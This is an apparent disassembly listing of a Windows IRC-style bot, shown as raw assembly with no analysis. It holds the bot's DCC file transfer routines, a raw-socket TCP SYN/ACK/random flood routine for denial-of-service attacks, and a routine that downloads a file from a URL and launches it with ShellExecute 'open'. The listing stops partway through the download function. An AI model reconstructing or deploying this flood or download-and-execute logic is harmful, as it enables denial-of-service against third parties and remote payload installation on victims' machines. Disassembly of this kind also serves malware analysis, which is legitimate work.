push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_44B740 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_4046AB
push offset aDccFailedToCre ; "[DCC]: Failed to create socket."
jmp loc_404864
; ---------------------------------------------------------------------------
loc_4046AB: ; CODE XREF: sub_40465D+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_44B6C0 ; htons
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_44B6EC ; bind
test eax, eax
jz short loc_4046E9
push offset aDccFailedToBin ; "[DCC]: Failed to bind to socket."
jmp loc_404864
; ---------------------------------------------------------------------------
loc_4046E9: ; CODE XREF: sub_40465D+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_44B664 ; getsockname
push [ebp+var_2E]
call dword_44B5FC ; htons
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_418E70
pop ecx
loc_40471B: ; CODE XREF: sub_40465D+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_40472E
push 5Fh
pop eax
jmp short loc_404731
; ---------------------------------------------------------------------------
loc_40472E: ; CODE XREF: sub_40465D+CAj
movsx eax, al
loc_404731: ; CODE XREF: sub_40465D+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_418E70
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_40471B
push ebx
push edi
call dword_44B6E8 ; listen
test eax, eax
jz short loc_404764
push offset aDccFailedToO_1 ; "[DCC]: Failed to open socket."
jmp loc_404864
; ---------------------------------------------------------------------------
loc_404764: ; CODE XREF: sub_40465D+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call ds:dword_4942EC
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40478E
push offset aDccFileDoesnTE ; "[DCC]: File doesn't exist."
jmp loc_404864
; ---------------------------------------------------------------------------
loc_40478E: ; CODE XREF: sub_40465D+125j
push esi
push eax
call ds:dword_49431C
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AFEC
pop ecx
push eax
call dword_44B700 ; inet_addr
push eax
call dword_44B6BC ; htonl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_437D20
push eax
call sub_418D70
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40842D
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_44B6A8 ; select
test eax, eax
jg short loc_40483E
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset aDccSendTimeout ; "[DCC]: Send timeout."
push eax
push [ebp+var_1FC]
call sub_40842D
jmp loc_404962
; ---------------------------------------------------------------------------
loc_40483E: ; CODE XREF: sub_40465D+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_44B754 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_404877
push offset aDccUnableToOpe ; "[DCC]: Unable to open socket."
loc_404864: ; CODE XREF: sub_40465D+49j
; sub_40465D+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_418D70
pop ecx
pop ecx
jmp loc_404965
; ---------------------------------------------------------------------------
loc_404877: ; CODE XREF: sub_40465D+200j
push edi
call dword_44B758 ; closesocket
cmp [ebp+arg_0], esi
jz loc_404929
mov edi, 400h
loc_40488C: ; CODE XREF: sub_40465D+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_404899
mov [ebp+var_4], eax
loc_404899: ; CODE XREF: sub_40465D+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_4189A0
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call ds:dword_494318
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call ds:dword_4942DC
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_44B710 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_44B6D8 ; recv
cmp eax, ebx
jl loc_4049BE
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_4049BE
sub [ebp+arg_0], eax
jnz loc_40488C
mov edi, [ebp+var_18]
loc_404929: ; CODE XREF: sub_40465D+224j
push [ebp+var_8]
call ds:dword_4942E0
push [ebp+var_C]
push [ebp+var_10]
call sub_4055AD
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1E0]
push eax
push [ebp+var_44]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_3FC]
push offset aDccTransferCom ; "[DCC]: Transfer complete to IP: %s, Fil"...
push eax
call sub_418D70
loc_404962: ; CODE XREF: sub_40465D+1DCj
add esp, 14h
loc_404965: ; CODE XREF: sub_40465D+215j
cmp [ebp+var_50], esi
jnz short loc_40498A
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40842D
add esp, 14h
loc_40498A: ; CODE XREF: sub_40465D+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_4035E1
cmp edi, esi
pop ecx
jbe short loc_4049A2
push edi
call dword_44B758 ; closesocket
loc_4049A2: ; CODE XREF: sub_40465D+33Cj
push [ebp+var_1F8]
call dword_44B758 ; closesocket
push [ebp+var_58]
call sub_416507
pop ecx
push esi
call ds:dword_4942FC
loc_4049BE: ; CODE XREF: sub_40465D+2AFj
; sub_40465D+2BAj
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset aDccSocketError ; "[DCC]: Socket error."
push eax
push [ebp+var_1FC]
call sub_40842D
push offset aDccSocketErr_0 ; "[DCC]: Socket error."
call sub_4035E1
add esp, 18h
push [ebp+var_1F8]
call dword_44B758 ; closesocket
push [ebp+var_58]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
sub_40465D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404A02 proc near ; DATA XREF: sub_40C50A+797o
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_418D40
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push 104h
push eax
call ds:dword_494320
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset aSS_0 ; "%s%s"
push eax
call sub_418D70
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call ds:dword_4942EC
cmp eax, 0FFFFFFFFh
jnz short loc_404A8C
push offset aDccErrorUnable ; "[DCC]: Error unable to write file to di"...
jmp short loc_404AD2
; ---------------------------------------------------------------------------
loc_404A8C: ; CODE XREF: sub_404A02+81j
push eax
call ds:dword_4942E0
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_419D70
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_404AB4
push offset aDccErrorOpenin ; "[DCC]: Error opening file for writing."
jmp short loc_404AD2
; ---------------------------------------------------------------------------
loc_404AB4: ; CODE XREF: sub_404A02+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_404416
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_404AE5
push offset aDccErrorOpen_0 ; "[DCC]: Error opening socket."
loc_404AD2: ; CODE XREF: sub_404A02+88j
; sub_404A02+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_418D70
pop ecx
pop ecx
jmp loc_404BDF
; ---------------------------------------------------------------------------
loc_404AE5: ; CODE XREF: sub_404A02+C9j
mov esi, 1000h
loc_404AEA: ; CODE XREF: sub_404A02+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_44B6D8 ; recv
mov edi, eax
cmp edi, ebx
jz loc_404BB1
cmp edi, 0FFFFFFFFh
jz short loc_404B52
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_41A090
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_44B6BC ; htonl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_44B710 ; send
jmp short loc_404AEA
; ---------------------------------------------------------------------------
loc_404B52: ; CODE XREF: sub_404A02+118j
lea eax, [ebp+var_4C4]
push offset aDccSocketErr_1 ; "[DCC]: Socket error."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40842D
lea eax, [ebp+var_4C4]
push eax
call sub_4035E1
push [ebp+var_4]
call sub_419740
add esp, 24h
push [ebp+arg_0]
call dword_44B758 ; closesocket
push [ebp+var_1C]
call sub_416507
pop ecx
push 1
call ds:dword_4942FC
loc_404BB1: ; CODE XREF: sub_404A02+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_4055AD
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_4C4]
push offset aDccTransferC_0 ; "[DCC]: Transfer complete from IP: %s, F"...
push eax
call sub_418D70
add esp, 1Ch
loc_404BDF: ; CODE XREF: sub_404A02+DEj
cmp [ebp+var_14], ebx
jnz short loc_404C04
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40842D
add esp, 14h
loc_404C04: ; CODE XREF: sub_404A02+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_4035E1
cmp [ebp+var_4], ebx
pop ecx
jz short loc_404C1F
push [ebp+var_4]
call sub_419740
pop ecx
loc_404C1F: ; CODE XREF: sub_404A02+212j
cmp [ebp+arg_0], ebx
jbe short loc_404C2D
push [ebp+arg_0]
call dword_44B758 ; closesocket
loc_404C2D: ; CODE XREF: sub_404A02+220j
push [ebp+var_1C]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
sub_404A02 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404C3D proc near ; DATA XREF: sub_40C50A+3A1Co
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_494308
push eax
call sub_418FF0
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_405026
push eax
lea eax, [ebp+var_494]
push offset aDdosDoneWithFl ; "[DDoS]: Done with flood (%iKB/sec)."
push eax
call sub_418D70
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_404CCD
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_40842D
add esp, 14h
loc_404CCD: ; CODE XREF: sub_404C3D+6Ej
lea eax, [ebp+var_494]
push eax
call sub_4035E1
push [ebp+var_290]
call sub_416507
pop ecx
pop ecx
push esi
call ds:dword_4942FC
pop edi
pop esi
sub_404C3D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404CEF proc near ; CODE XREF: sub_405026+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_44B638 ; WSAStartup
test eax, eax
jz short loc_404D2F
xor eax, eax
jmp loc_405022
; ---------------------------------------------------------------------------
loc_404D2F: ; CODE XREF: sub_404CEF+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_44B764 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_40501A
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_44B6A0 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_405010
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_44B6C0 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_44B6C0 ; htons
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_44B6C0 ; htons
mov [ebp+var_12], ax
call sub_419000
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_44B6C0 ; htons
push 12345678h
mov [ebp+var_14], ax
call dword_44B6BC ; htonl
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_404DFF
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_404E53
; ---------------------------------------------------------------------------
loc_404DFF: ; CODE XREF: sub_404CEF+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_404E1B
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_404E53
; ---------------------------------------------------------------------------
loc_404E1B: ; CODE XREF: sub_404CEF+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_419360
pop ecx
test eax, eax
pop ecx
jnz short loc_404E53
call sub_419000
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_419000
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_404E53: ; CODE XREF: sub_404CEF+10Ej
; sub_404CEF+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_44B6C0 ; htons
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call ds:dword_494328
lea eax, [ebp+var_1C]
push eax
call ds:dword_494324
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41A2F0
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_404EA1: ; CODE XREF: sub_404CEF+2E2j
; sub_404CEF+2F0j
mov [ebp+var_4], bx
call sub_419000
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_44B6C0 ; htons
mov [ebp+var_14], ax
call sub_419000
mov edi, eax
shl edi, 10h
call sub_419000
or edi, eax
push edi
call dword_44B6C0 ; htons
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_44B6BC ; htonl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_44B6C0 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_418A00
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_418A00
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40B045
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_418A00
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_418A00
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_4189A0
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40B045
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_418A00
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_44B724 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_404FE4
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_494324
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_40500D
jl loc_404EA1
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_40500D
jmp loc_404EA1
; ---------------------------------------------------------------------------
loc_404FE4: ; CODE XREF: sub_404CEF+2CBj
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset aDdosSendErrorD ; "[DDoS]: Send error: <%d>."
push eax
call sub_418D70
lea eax, [ebp+var_F4]
push eax
call sub_4035E1
add esp, 10h
jmp short loc_405010
; ---------------------------------------------------------------------------
loc_40500D: ; CODE XREF: sub_404CEF+2E0j
; sub_404CEF+2EEj
mov ebx, [ebp+arg_8]
loc_405010: ; CODE XREF: sub_404CEF+78j
; sub_404CEF+31Cj
push [ebp+var_20]
call dword_44B758 ; closesocket
pop esi
loc_40501A: ; CODE XREF: sub_404CEF+5Bj
call dword_44B620 ; WSACleanup
mov eax, ebx
loc_405022: ; CODE XREF: sub_404CEF+3Bj
pop edi
pop ebx
leave
retn
sub_404CEF endp
; =============== S U B R O U T I N E =======================================
sub_405026 proc near ; CODE XREF: sub_404C3D+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AED0
push [esp+10h+arg_4]
mov esi, eax
call sub_4195F0
push [esp+14h+arg_C]
mov ebx, eax
call sub_4195F0
mov edi, eax
call sub_419000
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_404CEF
add esp, 20h
test eax, eax
jnz short loc_405075
push 1
pop eax
loc_405075: ; CODE XREF: sub_405026+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_405026 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405084 proc near ; DATA XREF: sub_40C50A+3825o
; sub_40C50A+3F67o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_44B670
call dword_44B5D0 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_405510
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call ds:dword_4942EC
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_40514B
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset aDownloadCouldn ; "[DOWNLOAD]: Couldn't open file: %s."
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40512E
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40842D
add esp, 14h
loc_40512E: ; CODE XREF: sub_405084+88j
lea eax, [ebp+var_510]
push eax
call sub_4035E1
push [ebp+var_48]
call sub_416507
pop ecx
pop ecx
push esi
call ds:dword_4942FC
loc_40514B: ; CODE XREF: sub_405084+68j
xor edi, edi
call ds:dword_494308
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_416A10
pop ecx
mov [ebp+var_1C], eax
loc_405165: ; CODE XREF: sub_405084+1B4j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_44B5D8 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_4051A9
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_405576
pop ecx
pop ecx
loc_4051A9: ; CODE XREF: sub_405084+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call ds:dword_4942E4
cmp edi, ebx
jnb short loc_4051E7
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_4051D1
mov eax, [ebp+arg_0]
loc_4051D1: ; CODE XREF: sub_405084+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_418A00
add esp, 0Ch
loc_4051E7: ; CODE XREF: sub_405084+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_4051F4
cmp edi, [ebp+var_3C]
ja short loc_40523E
loc_4051F4: ; CODE XREF: sub_405084+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_40520E
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset aDownloadFileDo ; "[DOWNLOAD]: File download: %s (%dKB tra"...
jmp short loc_40521E
; ---------------------------------------------------------------------------
loc_40520E: ; CODE XREF: sub_405084+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset aDownloadUpdate ; "[DOWNLOAD]: Update: %s (%dKB transferre"...
loc_40521E: ; CODE XREF: sub_405084+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_44CE58
push eax
call sub_418D70
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_405165
loc_40523E: ; CODE XREF: sub_405084+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_405293
cmp edi, [ebp+var_3C]
jz short loc_405293
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset aDownloadFilesi ; "[DOWNLOAD]: Filesize is incorrect: (%d "...
push eax
call sub_418D70
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40842D
lea eax, [ebp+var_510]
push eax
call sub_4035E1
add esp, 28h
loc_405293: ; CODE XREF: sub_405084+1C4j
; sub_405084+1C9j
call ds:dword_494308
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call ds:dword_4942E0
push [ebp+var_1C]
call sub_417480
cmp [ebp+var_38], esi
pop ecx
jz short loc_40531D
lea eax, [ebp+var_148]
push eax
call sub_4041AA
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40531D
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset aDownloadCrcFai ; "[DOWNLOAD]: CRC Failed (%d != %d)."
push eax
call sub_418D70
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40842D
lea eax, [ebp+var_510]
push eax
call sub_4035E1
add esp, 28h
loc_40531D: ; CODE XREF: sub_405084+241j
; sub_405084+253j
cmp [ebp+var_14], esi
jz loc_40555D
cmp [ebp+var_44], 1
jz loc_405418
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_432420
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul ds:dbl_432420
fstp [esp+590h+var_590]
push offset aDownloadDownlo ; "[DOWNLOAD]: Downloaded %.1f KB to %s @ "...
push eax
call sub_418D70
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_405398
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40842D
add esp, 14h
loc_405398: ; CODE XREF: sub_405084+2F2j
lea eax, [ebp+var_510]
push eax
call sub_4035E1
cmp [ebp+var_40], 1
pop ecx
jnz loc_40555D
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_44B634
cmp [ebp+var_30], esi
jnz loc_40555D
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset aDownloadOpened ; "[DOWNLOAD]: Opened: %s."
push eax
call sub_418D70
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_40842D
lea eax, [ebp+var_510]
push eax
call sub_4035E1
add esp, 24h
jmp loc_40555D
; ---------------------------------------------------------------------------
loc_405418: ; CODE XREF: sub_405084+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_432420
lea eax, [ebp+var_148]
